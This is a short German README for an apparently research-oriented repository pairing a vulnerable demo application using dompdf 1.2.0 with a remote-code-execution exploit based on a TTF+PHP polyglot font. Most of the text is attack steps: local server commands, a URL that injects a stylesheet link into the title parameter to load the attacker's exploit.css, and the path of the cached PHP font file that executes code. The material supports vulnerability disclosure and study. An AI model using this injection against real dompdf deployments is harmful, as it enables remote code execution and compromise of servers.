
RCE-Exploit für dompdf
Dieses Repository enthält eine verwundbare Demo-Anwendung, die dompdf 1.2.0 verwendet, und einen Exploit, der Remote-Code-Ausführung über eine ttf+php-Polyglot-Datei erreicht.

Für weitere Details siehe https://positive.security/blog/dompdf-rce
$ cd application
$ php -S localhost:9000
$ cd exploit
$ php -S localhost:9001
http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>
phpinfo() aushttp://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
Bitte beachte: Falls du andere Domains oder Ports verwendest, bearbeite entsprechend und prüfe in den vollständigen Font-Dateinamen.
exploit/exploit.cssapplication/dompdf/lib/fonts